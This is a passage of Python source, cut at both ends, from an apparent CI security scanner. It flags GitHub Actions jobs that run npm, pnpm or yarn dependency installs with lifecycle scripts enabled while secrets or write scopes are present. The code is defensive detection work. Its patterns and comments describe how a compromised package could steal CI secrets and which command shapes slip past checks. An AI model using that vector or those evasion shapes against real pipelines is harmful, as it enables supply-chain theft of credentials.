- _NOT_ONE_QUOTED_WORD = (
- r"(?!\"[^\"]*\"(?![^\s;&|]))(?!'[^']*'(?![^\s;&|]))"
- )
- _CMD_WRAPPER_ALT = "|".join(re.escape(w) for w in _CMD_WRAPPERS)
- # A wrapper option's value, minus the tokens the rest of the prefix already
- # reads from the same spot: a wrapper word (`sudo -x sudo …`), `export NAME=`,
- # and, unless more options or a numeric operand follow, an assignment
- # (`sudo -u A=1 npm ci`) or a numeric operand (`timeout -k 5 npm ci`).
- _WRAPPER_OPT_VALUE = (
- r"(?!(?:" + _CMD_WRAPPER_ALT + r")[ \t])"
- r"(?!export[ \t]+[A-Za-z_][A-Za-z0-9_]*=)"
- r"(?!(?:[A-Za-z_][A-Za-z0-9_]*=[^\s;&|]*|\d[\w.]*)[ \t]+(?![ \t\d-]))"
- r"[^-\s;&|][^\s;&|]*"
- )
- _CMD_PREFIX = (
- r"(?:"
- r"(?:" + _CMD_WRAPPER_ALT + r")"
- # A wrapper option may carry its own VALUE (`sudo -u root`, `nice -n 10`).
- # The value is optional and cannot start with `-`, so `sudo -E npm ci`
- # backtracks out of it rather than eating the manager. `-[\w-]*` reads
- # `-E` and `--preserve-env` alike.
- r"(?:[ \t]+-[\w-]*(?:[ \t]+" + _WRAPPER_OPT_VALUE + r")?){0,16}"
- # …and a bare NUMERIC argument, for the wrappers whose first operand is a
- # duration or a count: `timeout 60 npm ci`, `retry 3 pnpm install`.
- r"(?:[ \t]+\d[\w.]*)?[ \t]+"
- # An assignment value may be empty (`FOO= npm ci`).
- r"|(?:export[ \t]+)?[A-Za-z_][A-Za-z0-9_]*="
- r"(?:\"[^\"]*\"|'[^']*'|" + _NOT_ONE_QUOTED_WORD + r"[^\s;&|]*)[ \t]+"
- # Bounded: no real command carries 64 prefixes or a wrapper 16 options, and
- # the bound caps the work each command-position start can do on a hostile
- # line, so the search over a whole run block stays linear.
- r"){0,64}"
- )
- # A yarn option's value: `=` then any value, or a space then a value that is
- # not itself the next option (`yarn -a -b` reads `-b` as an option only).
- _YARN_OPT_VALUE = (
- r"(?:\"[^\"]*\"|'[^']*'|" + _NOT_ONE_QUOTED_WORD + r"[^\s;&|]+)"
- )
- _INSTALL_CMD_RE = re.compile(
- _CMD_START + _CMD_PREFIX +
- r"(?<![\w./-])(?P<cmd>"
- r"npm\s+(?:ci|install|i)(?![\w-])"
- r"|pnpm\s+(?:install|i)(?![\w-])"
- r"|yarn\s+install(?![\w-])"
- r"|yarn(?!\s+-{0,2}(?:version|help|[vV]|h)(?![\w-]))"
- r"(?:\s+-[\w-]+(?:=" + _YARN_OPT_VALUE + r"|[ ]"
- r"(?!-[\w-]+(?:=[^\s;&|]+)?(?![^\s;&|]))" + _YARN_OPT_VALUE + r")?){0,32}"
- r"\s*(?:$|[\n;&|])"
- r")",
- re.MULTILINE,
- )
- _IGNORE_SCRIPTS_RE = re.compile(r"--ignore-scripts(?![\w-])")
- # --- what makes an install a DEPENDENCY-TREE install --------------------------
- #
- # The catalog's anti-pattern is a compromised package *in the dependency tree*
- # executing its lifecycle script during a bulk install. Two command shapes match
- # the regex above without being that:
- #
- # npm i -g corepack@0.31 # global tool bootstrap — no project tree
- # npm install @playwright/test # one named package, chosen by the author
- #
- # A global install resolves nothing from the repo's lockfile; a named install
- # installs exactly what the workflow author typed. Neither is "whatever the tree
- # resolves to today". Both are EXCLUDED — not silently widened into a different
- # finding: a named single-package install whose own lifecycle script is
- # malicious is a real but DIFFERENT shape (it needs the package's identity and
- # a registry check, not a tree argument), and this detector does not claim it.
- # vercel/next.js alone reported seventeen `npm i -g corepack@0.31` bootstraps
- # and playwright four more named installs before this gate existed.
- _GLOBAL_FLAGS = {"-g", "--global"}
- # Options that consume the NEXT token as their value. Without this list
- # `pnpm install --filter foo` would read `foo` as a package spec and the real
- # tree install would be dropped — a false negative worse than the noise.
- _INSTALL_VALUE_FLAGS = {
- "-C", "--cwd", "--dir", "--prefix", "--filter", "-F", "--filter-prod",
- "--registry", "--network-timeout", "--network-concurrency",
- "--cache-folder", "--modules-folder", "--mutex", "--store-dir",
- "--modules-dir", "--lockfile-dir", "--virtual-store-dir", "--reporter",
- "--loglevel", "--config", "--userconfig", "--cache", "--workspace",
- "--use-yarnrc", "--resolution-mode", "--package-import-method",
- "--node-linker", "--public-hoist-pattern", "--omit", "--include",
- }
- # Options that take NO value. This list exists so the UNKNOWN case can default
- # the safe way round: an option we have never heard of is assumed to consume
- # its value, because the alternative leaves that value sitting as a bare
- # positional, `_PKG_SPEC_RE` reads it as a package name, and the whole
- # tree-install finding vanishes SILENTLY (no `dropped_matches`, no coverage
- # gap). Ten such shapes were proven — `npm ci --maxsockets 3`,
- # `pnpm install --fetch-timeout 60000`, `npm ci --before 2024-01-01` — each an
- # un-reported privileged install. The failure mode of a closed value-flag list
- # is "an option nobody thought of", and it grows with every package-manager
- # release; the failure mode of this default is one extra finding on a named
- # install written with an unfamiliar boolean flag. This file's own rule (see
- # `_INSTALL_VALUE_FLAGS`) is that the false negative is the worse one.
- _INSTALL_BOOLEAN_FLAGS = {
- # npm
- "--save", "-S", "--save-dev", "-D", "--save-prod", "-P", "--save-optional",
- "-O", "--save-exact", "-E", "--save-peer", "--no-save", "--production",
- "--legacy-peer-deps", "--force", "-f", "--ignore-scripts", "--no-audit",
- "--no-fund", "--dry-run", "--global-style", "--package-lock-only",
- "--prefer-offline", "--prefer-online", "--offline", "--audit", "--fund",
- "--strict-peer-deps", "--install-links", "--foreground-scripts",
- "--verbose", "--silent", "--quiet", "--json", "--long", "--parseable",
- "--no-package-lock", "--no-bin-links",
- # pnpm
- "--frozen-lockfile", "--no-frozen-lockfile", "--prod", "--dev",
- "--shamefully-hoist", "--lockfile-only", "--fix-lockfile", "--recursive",
- "-r", "-w", "--workspace-root", "--no-optional", "--ignore-workspace",
- "--strict-peer-dependencies", "--no-strict-peer-dependencies",
- "--side-effects-cache", "--no-verify-store-integrity",
- # yarn
- "--immutable", "--frozen-lockfile", "--ignore-optional",
- "--ignore-engines", "--check-files", "--non-interactive", "--pure-lockfile",
- "--no-lockfile", "--immutable-cache", "--inline-builds", "--ignore-platform",
- }
- # A positional argument shaped like something you can install: a bare or scoped
- # package name with an optional version/tag, or a URL/git/file/github specifier.
- _PKG_SPEC_RE = re.compile(
- r"^(?:(?:git\+|https?://|file:|link:|github:|npm:|workspace:).+"
- r"|(?:@[A-Za-z0-9._-]+/)?[A-Za-z0-9._-]+(?:@[^\s]+)?)$"
- )
- _INSTALL_SUBCOMMANDS = {"install", "i", "ci"}
- def _install_manager(command: str) -> str | None:
- """Which package manager the install command in `command` invokes."""
- m = _INSTALL_CMD_RE.search(command)
- if m is None:
- return None
- # `cmd`, not `group(0)`: the match now opens with the command-position
- # anchor and any `sudo` / `VAR=value` prefix, and reading the manager off
- # that prefix would name the wrong tool.
- head = m.group("cmd").lstrip()
- for name in ("npm", "pnpm", "yarn"):
- if head.startswith(name):
- return name
- return None # pragma: no cover - the regex has only three arms
- def _is_dependency_tree_install(segment: str) -> bool:
- """Is the install matched in `segment` a DEPENDENCY-TREE install?
- False for a global install (`-g` / `--global`) and for one that names an
- explicit package spec — see the block comment above. True for the bare
- tree installs the catalog is about: `npm ci`, `npm install`,
- `pnpm install --frozen-lockfile`, `yarn install`, `yarn --cwd packages/app`.
- """
- m = _INSTALL_CMD_RE.search(segment)
- if m is None:
- return False
- # Slice at the COMMAND, not at the whole match: the match now includes the
- # command-position anchor and any prefix, and `tokens[0]` must be the
- # package manager for the flag walk below to line up.
- tail = segment[m.start("cmd"):]
- try:
- tokens = shlex.split(tail, comments=False)
- except ValueError:
- # Unbalanced quotes across a fragment boundary — fall back to a plain
- # split rather than dropping the command entirely.
- tokens = tail.split()
- if not tokens:
- return False
- tokens = tokens[1:] # the manager itself
- subcommand = None
- if tokens and tokens[0] in _INSTALL_SUBCOMMANDS:
- subcommand = tokens[0]
- tokens = tokens[1:] # ci / install / i
- # Two shapes where a POSITIONAL cannot mean "one named package", so the
- # named-install exclusion must not fire on it:
- # `npm ci foo` — `ci` installs the whole lockfile whatever follows it;
- # `pnpm install ${{ inputs.args }}` — the arguments are not knowable at
- # scan time, and guessing them into an exclusion is a
- # silent drop. Only an explicit `-g` still excludes.
- positionals_can_exclude = subcommand != "ci" and "${{" not in tail
- i = 0
- while i < len(tokens):
- tok = tokens[i]
- if tok in _GLOBAL_FLAGS:
- return False
- if tok.startswith("-"):
- if "=" in tok or tok in _INSTALL_BOOLEAN_FLAGS:
- i += 1
- continue
- # Known value-taking, or unknown — either way assume it consumes
- # the next token, unless that token is itself an option. See
- # `_INSTALL_BOOLEAN_FLAGS` for why unknown defaults this way.
- if i + 1 < len(tokens) and not tokens[i + 1].startswith("-"):
- i += 2
- continue
- i += 1
- continue
- if positionals_can_exclude and _PKG_SPEC_RE.match(tok):
- return False
- i += 1
- return True
- # `secrets.NAME` in any of the job's own text. github.token is excluded: it is
- # present in every job by construction, so treating it as a payoff would make
- # the payoff leg vacuous — the catalog says "beyond github.token".
- _SECRET_REF_RE = re.compile(r"secrets\.([A-Za-z_][A-Za-z0-9_-]*)")
- _GITHUB_TOKEN_NAMES = {"github_token", "githubtoken"}
- def _job_secret_refs(job: Any, doc: Any = None) -> list[str]:
- """Secret names in this job's ENVIRONMENT, excluding a bare GITHUB_TOKEN.
- Scans the job's serialized YAML text rather than specific keys: a secret
- reaches the install step's environment from `env:` at job or step scope,
- from a step's `with:`, or from inside a `run:` scalar, and enumerating
- those keys individually is how a payoff gets missed.
- Workflow-level `env:` counts too, and this is why `doc` is a parameter.
- GitHub merges the workflow's `env:` map into EVERY job's environment, so a
- `NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` declared at the top of the file is
- just as present in the install step's process as one declared on the job —
- but the job's own subtree does not contain it, so the payoff leg read it as
- absent. facebook/react's `compiler_prereleases.yml` declares exactly that
- and its publish job was left unflagged. This mirrors how
- `_job_effective_write_scopes` already consults the workflow-level
- `permissions:` block. (`env:` MERGES, unlike `permissions:`, which
- replaces — so both scopes are read here, not one or the other.)
- """
- if not isinstance(job, dict):
- return []
- scopes: list[Any] = [job]
- if isinstance(doc, dict) and doc.get("env") is not None:
- scopes.append({"env": doc.get("env")})
- blob_parts: list[str] = []
- for scope in scopes:
- try:
- blob_parts.append(
- yaml.safe_dump(scope, default_flow_style=False, sort_keys=False)
- )
- except yaml.YAMLError: # pragma: no cover - defensive
- blob_parts.append(str(scope))
- blob = "\n".join(blob_parts)
- names = []
- for name in _SECRET_REF_RE.findall(blob):
- if name.lower() in _GITHUB_TOKEN_NAMES:
- continue
- if name not in names:
- names.append(name)
- if isinstance(job.get("secrets"), str) and job["secrets"].strip() == "inherit":
- # A called workflow inheriting the caller's whole secret set is the
- # broadest payoff there is; it carries no `secrets.NAME` token to find.
- names.append("<secrets: inherit>")
- return names
- def _write_scopes(perms: Any) -> list[str]:
- """`scope: write` names in a `permissions:` block, or [] .
- `permissions: write-all` (a string) is the whole set; `permissions: {}` and
- read-only blocks yield nothing, which is what makes the negative case
- silent rather than merely lower-severity.
- """
- if isinstance(perms, str):
- return ["write-all"] if perms.strip() == "write-all" else []
- if not isinstance(perms, dict):
- return []
- return [
- str(k) for k, v in perms.items()
- if isinstance(v, str) and v.strip().lower() == "write"
- ]
- def _job_effective_write_scopes(doc: dict[str, Any], job: dict[str, Any]) -> list[str]:
- """Write scopes effective FOR THIS JOB.
- A job's own `permissions:` block replaces the workflow-level one outright
- (GitHub does not merge them), so the workflow block is only consulted when
- the job declares none. Reading both unconditionally would report a write
- scope a job that scoped itself down does not actually hold.
- An ABSENT `permissions:` block yields no write scope, deliberately. What
- the default `GITHUB_TOKEN` grants is a repository/organization setting,
- invisible in this YAML, and GitHub's own default for repositories created
- since 2023 is read-only — so treating silence as write would manufacture a
- payoff leg on the safe default and fire P14.25 on very nearly every repo
- that installs dependencies, which is the hygiene-check shape the catalog
- rejects for this pattern. (The asymmetry with the npm-v12 ruling above is
- the point: there the unknown default is the DANGEROUS one, so not firing
- would hide a live finding; here it is the safe one.) A permissive default
- token is not unreported — the `sec.permissions.workflow-declares` and
- `sec.permissions.write-scoped` config facts score exactly that, and P14.18
- flags where a write scope meets an untrusted trigger.
- """
- if "permissions" in job:
- return _write_scopes(job.get("permissions"))
- return _write_scopes(doc.get("permissions"))
- def _strip_shell_comment(line: str) -> str:
- """`line` with any trailing shell comment removed, QUOTE-AWARE.
- A `#` only opens a comment when it is unquoted and starts a word — the
- shell's own rule. Cutting at the first `#` regardless truncated
- `npm install "github:user/repo#tag" --ignore-scripts` before its flag and
- reported a hardened install as a finding.
- """
- out: list[str] = []
- for ch, is_syntax in _shell_scan(line):
- if is_syntax and ch == "#" and (not out or out[-1].isspace()):
- break
- out.append(ch)
- return "".join(out)
- def _shell_scan(text: str) -> Iterator[tuple[str, bool]]:
- """``(char, is_shell_syntax)`` for each character of a shell command.
- ``is_shell_syntax`` is False for anything the shell would read as DATA —
- inside quotes, or escaped by a backslash. Both callers below need exactly
- this distinction and they need to agree on it, so it is computed once:
- the bugs here have all been one reader treating as syntax what the other
- read as data. Backslash escapes apply unquoted and inside double quotes;
- inside single quotes nothing escapes, which is the shell's own rule.
- """
- quote: str | None = None
- i = 0
- n = len(text)
- while i < n:
- ch = text[i]
- if quote != "'" and ch == "\\" and i + 1 < n:
- yield ch, False
- yield text[i + 1], False
- i += 2
- continue
- if quote:
- yield ch, False
- if ch == quote:
- quote = None
- i += 1
- continue
- if ch in "'\"":
- quote = ch
- yield ch, False
- i += 1
- continue
- yield ch, True
- i += 1
- def _install_command_segments(command: str) -> list[str]:
- """`command` split on its unquoted `;` `&` `&&` `|` `||` separators.
- Used by the P14.25 install detector, which must split on a bare `|` too:
- `--ignore-scripts` protects the command it is WRITTEN on, so in
- `npm ci --ignore-scripts | npm install` the flag covers the first command
- and the piped-to `npm install` is still an unprotected install. (This is a
- DIFFERENT question from `_pipeline_command_segments`, which keeps a pipeline
- whole because a `… | tee file` pipeline is one logical write.) The name was
- once shared between the two, and the pipeline-whole definition silently
- overrode this one — issue #278 — so a bare-pipe install was read as
- protected. They are two named functions now.
- Quote-aware for the same reason as the comment strip: splitting
- `npm install "a|b" --ignore-scripts` on the quoted pipe put the flag in a
- different segment from the install it protects, and the install was
- reported.
- """
- marked = list(_shell_scan(command))
- segments: list[str] = []
- current: list[str] = []
- i = 0
- while i < len(marked):
- ch, is_syntax = marked[i]
- if is_syntax and ch in ";&|":
- segments.append("".join(current))
- current = []
- nxt = marked[i + 1] if i + 1 < len(marked) else None
- i += 2 if nxt and nxt[1] and nxt[0] == ch else 1
- continue
- current.append(ch)
- i += 1
- segments.append("".join(current))
- return segments
- def _shell_commands(lines: list[str]) -> Iterator[tuple[int, str, str]]:
- """``(line_no, verbatim first line, joined command text)`` per COMMAND.
- The unit of analysis is the shell command, not the source line, because a
- trailing backslash continues one command across several lines:
- npm install \\
- --ignore-scripts
- is a single hardened install, and judging its first line alone reports a
- finding the repository does not have. Comments are stripped before the
- continuation is read, and the reported line number / verbatim text stay
- those of the command's FIRST line, so the evidence still points a reader
- at the place the command starts.
- """
- idx = 0
- while idx < len(lines):
- first = idx
- parts: list[str] = []
- while True:
- stripped = _strip_shell_comment(lines[idx])
- parts.append(stripped.rstrip().rstrip("\\"))
- if stripped.rstrip().endswith("\\") and idx + 1 < len(lines):
- idx += 1
- continue
- break
- yield first + 1, lines[first], " ".join(parts)
- idx += 1
- def _is_unprotected_install(command: str) -> bool:
- """Does this shell command line run an install with lifecycle scripts on?
- The single definition of "unprotected install" — the job-level gate and
- the evidence lookup both call it. They used to ask the question at
- different granularities: the gate searched a whole `run:` scalar, so a
- scalar holding `npm ci --ignore-scripts` on one line and a plain
- `npm install` on the next was read as protected and the job was dropped,
- and a `--ignore-scripts` written in a shell COMMENT suppressed the real
- install below it. One definition cannot disagree with itself that way.
- `--ignore-scripts` is matched against the SEGMENT it belongs to, not the
- whole line: it protects the command it is written on. `command` is split by
- `_install_command_segments`, which breaks on `;` `&` `&&` `||` AND a bare
- `|`, so in both `npm ci --ignore-scripts && npm install` and
- `npm ci --ignore-scripts | npm install` the flag covers only the first
- command and the second install is a finding.
- A global or single-package install is not this vector and is excluded here
- too — see `_is_dependency_tree_install`.
- """
- return any(
- _INSTALL_CMD_RE.search(seg)
- and not _IGNORE_SCRIPTS_RE.search(seg)
- and _is_dependency_tree_install(seg)
- for seg in _install_command_segments(command)
- )
- def _scalar_has_unprotected_install(scalar: str) -> bool:
- """Any command in this `run:` scalar an unprotected install."""
- return any(
- _is_unprotected_install(cmd)
- for _line, _raw, cmd in _shell_commands(scalar.splitlines())
- )
- # The quotes are optional because `- "run": npm ci` is legal YAML and means
- # exactly `- run: npm ci`. Without them the step is not recognised as shell at
- # all, and the install inside it stops being reportable.
- _RUN_KEY_LINE_RE = re.compile(r"""^(\s*)(?:-\s+)?["']?run["']?\s*:\s*(.*)$""")
- _BLOCK_SCALAR_RE = re.compile(r"^[|>][+-]?\d*\s*(#.*)?$")
- def _run_scalar_line_numbers(text: str) -> set[int]:
- """1-based line numbers whose content is SHELL — inside a `run:` scalar.
- Everything else in a workflow file is YAML, and a regex hunting for install
- commands does not belong there. Without this, `- name: Run pnpm install`
- matched the install regex and the evidence quoted a step NAME as if it were
- the command (immich's f7/f8/f11 all quoted `- name: Run pnpm install`), and
- a `#` comment mentioning an install could do the same.
- Two forms are recognised: an inline scalar (`run: pnpm install`), whose own
- line is shell; and a block scalar (`run: |`), whose shell is every
- following line indented deeper than the `run:` key.
- """
- shell: set[int] = set()
- lines = text.splitlines()
- i = 0
- while i < len(lines):
- m = _RUN_KEY_LINE_RE.match(lines[i])
- if m is None:
- i += 1
- continue
- indent = len(m.group(1))
- rest = m.group(2).strip()
- if rest and not _BLOCK_SCALAR_RE.match(rest):
- # Inline scalar. It may still continue onto more-indented lines
- # (plain multi-line YAML scalars), which are shell as well.
- shell.add(i + 1)
- j = i + 1
- while j < len(lines):
- nxt = lines[j]
- if not nxt.strip():
- break
- if len(nxt) - len(nxt.lstrip()) <= indent:
- break
- shell.add(j + 1)
- j += 1
- i = j
- continue
- # Block scalar: consume the indented body (blank lines included).
- j = i + 1
- while j < len(lines):
- nxt = lines[j]
- if nxt.strip() and len(nxt) - len(nxt.lstrip()) <= indent:
- break
- if nxt.strip():
- shell.add(j + 1)
- j += 1
- i = j
- return shell
- def _run_scalar_starts(text: str) -> set[int]:
- """1-based line numbers where a `run:` scalar's shell BEGINS.
- The companion to `_run_scalar_line_numbers`, which answers "is this line
- shell" but not "is this line a different step's shell". Line adjacency
- cannot answer the second question in either direction: two inline
- `- run:` steps are adjacent lines in different steps, and a blank line
- inside one block scalar makes one step's shell non-adjacent. Anything that
- dies with its step — the working directory above all — has to key off this
- set instead.
- """
- starts: set[int] = set()
- lines = text.splitlines()
- shell = _run_scalar_line_numbers(text)
- for i, line in enumerate(lines):
- m = _RUN_KEY_LINE_RE.match(line)
- if m is None:
- continue
- rest = m.group(2).strip()
- if rest and not _BLOCK_SCALAR_RE.match(rest):
- starts.add(i + 1) # inline scalar: the key's own line
- continue
- for j in range(i + 1, len(lines) + 1): # block scalar: its first body line
- if j + 1 in shell:
- starts.add(j + 1)
- break
- return starts
- # `<<WORD` / `<<-'WORD'` — a heredoc opener.
- #
- # The lookarounds are load-bearing. `<<<` is a here-STRING: it carries its whole
- # value on the line and opens no body. Without `(?!<)` the search simply retried
- # at the second `<` and matched `<< abc` inside `sort <<< abc`, which suppressed
- # every command to the end of the step — losing real findings, silently.
- _HEREDOC_OPEN_RE = re.compile(r"(?<!<)<<(?!<)-?\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\1")
- def _heredoc_delimiter(command: str) -> str | None:
- """The word ending the here-doc this command opens, or None.
- The OPERATOR has to be shell syntax, the DELIMITER does not:
- `echo "use << EOF for heredocs"` mentions a here-doc inside a quoted string
- and opens nothing, while `cat <<'EOF'` quotes its delimiter and opens one —
- quoting the delimiter is the idiom, since it stops expansion in the body.
- So the quote test is applied to the `<<` itself, using the syntax/data
- split this file already computes once in `_shell_scan`, and the delimiter
- is read from the raw text. Blanking all quoted text instead would miss
- every `<<'EOF'` in the corpus.
- """
- syntax = [is_syntax for _ch, is_syntax in _shell_scan(command)]
- for match in _HEREDOC_OPEN_RE.finditer(command):
- at = match.start()
- if at + 1 < len(syntax) and syntax[at] and syntax[at + 1]:
- return match.group(2)
- return None
- def _install_line(
- text: str, job_range: tuple[int, int] | None
- ) -> tuple[int, str, str] | None:
- """(line_no, verbatim line, joined command) of the QUALIFYING install.
- Scoped to the job's own source range, so the evidence quotes the actual
- command instead of a synthesized sentence, and to `run:` scalar content, so
- it quotes shell rather than a step name or a comment. It returns the first
- command that would itself make the job a finding — not the first line the
- install regex happens to touch. leonardo's job bootstraps with
- `npm install -g npm@11` on one line and runs the real `pnpm install` at
- :31; the evidence used to quote the bootstrap, so the reader was pointed at
- a command that is not the vector and could not be fixed by the recipe.
- A command carrying `--ignore-scripts` is skipped here as well as at the job
- level: a job that fixed one install and left another still has the unfixed
- one quoted.
- """
- found = _install_lines(text, job_range)
- return found[0] if found else None
- def _install_lines(
- text: str, job_range: tuple[int, int] | None
- ) -> list[tuple[int, str, str]]:
- """EVERY qualifying install in the job, in source order.
- A job can install more than once, and the build allowlist can be a
- different thing at each of them — disabled above the first, put back before
- the second. Deciding mitigation on the first install alone gets both
- directions wrong: it suppressed a job whose later install was exposed, and
- it reported a job whose install was disabled by a step further down.
- """
- lines = text.splitlines()
- shell_lines = _run_scalar_line_numbers(text)
- start, end = job_range if job_range else (1, len(lines))
- out = []
- for line_no, raw, cmd in _shell_commands(lines):
- if line_no < start or line_no > min(end, len(lines)):
- continue
- if line_no not in shell_lines:
- continue
- if _is_unprotected_install(cmd):
- out.append((line_no, raw, cmd))
- return out
- # --- P14.25 mitigation signals -----------------------------------------------
- #
- # The catalog used to assert, in every finding, that the job "runs this install
- # with dependency lifecycle scripts enabled". That is not knowable from workflow
- # YAML and for pnpm it is usually FALSE: pnpm 10 and later block dependency
- # lifecycle scripts by default and only run them for packages named in
- # `onlyBuiltDependencies` / `allowBuilds`. So the note now says what IS knowable
- # — the install executes lifecycle scripts UNLESS the manager's version or
- # configuration disables them — and names the per-manager condition.
- #
- # Two tiers of in-repo evidence, and the split is deliberate:
- #
- # HARD (no finding at all) — a step in the SAME job, ordered BEFORE the
- # install, that empties or falsifies the build allowlist, together with a
- # `packageManager` pin resolving pnpm >= 10 (the mechanism only exists there).
- # vitejs/vite writes `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`
- # immediately above `pnpm install` in both its release and its publish
- # workflow; reporting those was a false positive twice over.
- #
- # PARTIAL (the finding STANDS, with the mitigation named in its note) — a
- # committed `pnpm-workspace.yaml` allowlist, or a pnpm >= 10 pin on its own.
- # A committed file is not proof of the file at install time: vite's own
- # release jobs rewrite it mid-run, which is the counter-example. And a pin
- # with a NON-empty allowlist means scripts still run for the allow-listed
- # packages (vercel/next.js allows `@ast-grep/cli`). Suppressing on either
- # would be the false-negative shape the NEVER rules ban, so both are
- # disclosed rather than acted on.
- _PACKAGE_MANAGER_PIN_RE = re.compile(
- r"\"packageManager\"\s*:\s*\"(npm|pnpm|yarn)@((\d+)[^\"+]*)"
- )
- _ALLOWLIST_KEY_RE = re.compile(r"(allowBuilds|onlyBuiltDependencies)")
- _ALLOWLIST_DISABLE_RE = re.compile(
- r"(allowBuilds|onlyBuiltDependencies)\s*(?:\[\s*\])?\s*[:=]\s*"
- r"(?:false|\[\s*\]|\{\s*\})"
- )
- # A `#` that starts a shell comment: at the start of the line or after
- # whitespace. Everything from there on is inert text, not an executed command.
- _COMMENT_TAIL_RE = re.compile(r"(?:^|\s)#.*$")
- # The config file a real disable-the-builds step writes.
- _ALLOWLIST_TARGET = r"[^\s'\"]*(?:pnpm-workspace\.ya?ml|package\.json|\.npmrc)"
- # The three ways a line actually WRITES that file. Each binds the write to the
- # target in ONE expression, because testing "names a config file" and "has a
- # redirect" independently accepts lines where the two are unrelated:
- # `yq '.allowBuilds[]=false' pnpm-workspace.yaml > /dev/null` reads the file
- # and writes to the bit bucket, changing nothing. Naming the file is not
- # enough either — the same command without `-i` just prints the edited
- # document. vitejs/vite's real step is
- # `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`.
- _ALLOWLIST_WRITE_RES = (
- # in-place edit of the target: `yq … -i pnpm-workspace.yaml`, `sed -i … pkg`.
- # Gated on the command being one that HAS an in-place mode: `-i` means
- # case-insensitive to grep, so `grep -i allowBuilds=false
- # pnpm-workspace.yaml` is a read-only check that would otherwise read as a
- # mutation.
- re.compile(r"\b(?:yq|sed|perl|dasel|sponge|crudini)\b.*"
- r"(?:^|\s)(?:-i|--in-?place)(?:=\S*)?(?:\s+\S+)*?\s+"
- + _ALLOWLIST_TARGET + r"(?:\s|$)"),
- # redirect or tee INTO the target: `… >> pnpm-workspace.yaml`
- re.compile(r"(?:>>?\s*|\|\s*tee\s+(?:-a\s+)?)" + _ALLOWLIST_TARGET),
- # the package manager's own writer — bound to the allowlist key, or an
- # unrelated `pnpm config set registry …` on the same line as inert disable
- # text would read as a mitigation.
- re.compile(r"pnpm\s+config\s+set\s+\S*"
- r"(?:allowBuilds|onlyBuiltDependencies)"),
- )
- # A line that only PRINTS: `echo`/`printf` with nothing to write into. Its
- # argument can quote an entire real mitigation, so the write test above cannot
- # tell it apart on its own.
- _INERT_PRINT_RE = re.compile(r"^(?:echo|printf)\b(?![^>]*(?:>|\|\s*tee\b))")
- def _writes_the_build_allowlist(code: str) -> bool:
- """Does this shell line actually WRITE the build allowlist it mentions?"""
- return any(r.search(code) for r in _ALLOWLIST_WRITE_RES)
- def _repo_root_for_workflow(file_path: Path) -> Path | None:
- """The repo root a `.github/workflows/<f>.yml` path sits in, or None."""
- parts = file_path.resolve().parts
- if len(parts) < 4 or parts[-2] != "workflows" or parts[-3] != ".github":
- return None
- return Path(*parts[:-3])
- def _package_manager_pin(root: Path | None) -> tuple[str, int, str] | None:
- """`(manager, major, version)` from the repo's `packageManager` field.
- The full version travels with the major because the note quotes it: a
- reader told "this repo pins `pnpm@10`" cannot check that against a
- `package.json` that says `pnpm@10.33.0`.
- """
- if root is None:
- return None
- try:
- blob = (root / "package.json").read_text(encoding="utf-8", errors="replace")
- except OSError:
- return None
- m = _PACKAGE_MANAGER_PIN_RE.search(blob)
- if m is None:
- return None
- return m.group(1), int(m.group(3)), m.group(2)
- def _pnpm_build_allowlist(root: Path | None) -> str | None:
- """``"restrictive"`` / ``"permissive"`` / None for the repo's build
- allowlist.
- ``restrictive`` means the declaration exists and permits NOTHING to build
- (an empty list, or a map whose every value is falsy — vitejs/vite ships
- `allowBuilds: {core-js: false, vue-demi: false}`). ``permissive`` means at
- least one package may build (vercel/next.js allows `@ast-grep/cli`).
- Two files can hold the declaration, and BOTH are read, in pnpm's own order
- of precedence: `pnpm-workspace.yaml` first, then `package.json`'s
- `pnpm.onlyBuiltDependencies` — which is where adobe/leonardo declares it,
- and reading only the workspace file left that repo's finding saying the
- allowlist was undeclared when the repo declares it. This changes NOTE
- SPECIFICITY only: the allowlist never suppresses a finding on its own (that
- takes an in-job write; see `_allowlist_writes`).
- """
- if root is None:
- return None
- def _verdict(value: Any) -> str | None:
- if isinstance(value, dict):
- return "permissive" if any(value.values()) else "restrictive"
- if isinstance(value, list):
- return "permissive" if value else "restrictive"
- return None
- for name in ("pnpm-workspace.yaml", "pnpm-workspace.yml"):
- try:
- text = (root / name).read_text(encoding="utf-8", errors="replace")
- except OSError:
- continue
- try:
- doc = yaml.safe_load(text)
- except yaml.YAMLError:
- return None
- if not isinstance(doc, dict):
- break
- for key in ("allowBuilds", "onlyBuiltDependencies"):
- if key in doc:
- verdict = _verdict(doc.get(key))
- if verdict is not None:
- return verdict
- break
- # `package.json` → `"pnpm": {"onlyBuiltDependencies": [...]}`.
- try:
- blob = (root / "package.json").read_text(encoding="utf-8", errors="replace")
- except OSError:
- return None
- try:
- pkg = json.loads(blob)
- except json.JSONDecodeError:
- return None
- if not isinstance(pkg, dict):
- return None
- pnpm_cfg = pkg.get("pnpm")
- if not isinstance(pnpm_cfg, dict):
- return None
- for key in ("onlyBuiltDependencies", "allowBuilds"):
- if key in pnpm_cfg:
- return _verdict(pnpm_cfg.get(key))
- return None
- def _allowlist_writes(
- text: str, job_range: tuple[int, int] | None
- ) -> list[tuple[int, bool, str]]:
- """Every EXECUTED write to the build allowlist in this job, in order:
- ``(line_no, disables, verbatim line)``.
- This is the one thing that suppresses a P14.25 finding OUTRIGHT, so the
- line has to be an executed mutation of the package manager's build
- allowlist and not merely text that mentions one. Two inert shapes reached
- the unconditional suppression before this gate: a shell COMMENT
- (`# allowBuilds=false — set in pnpm-workspace.yaml`, a perfectly natural
- thing to write) and an echoed string with nowhere to go
- (`echo 'allowBuilds: false'`). A third, subtler one: `yq
- '.allowBuilds[]=false' pnpm-workspace.yaml` WITHOUT `-i` names the file but
- only prints the edited document — the file on disk is untouched. Each
- silenced a genuine privileged install. So the mitigation must survive
- comment-stripping, name the config, AND write it — which is what a real
- mitigation does: vitejs/vite runs
- `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`.
- All three tests run per COMMAND, not per line. Run against a whole line
- they can be satisfied by different commands that have nothing to do with
- each other: `echo allowBuilds=false; pnpm config set registry … > .npmrc`
- has inert disable text in one command and an unrelated write in the next,
- and passed every line-level gate.
- The ORDER is what the caller needs. A job can turn the allowlist off and
- back on around several installs, and only the last write before a given
- install decides whether that install is protected. Answering "does a
- disable appear anywhere above" gets it wrong in both directions: it
- suppressed a job whose later install was exposed, and it reported a job
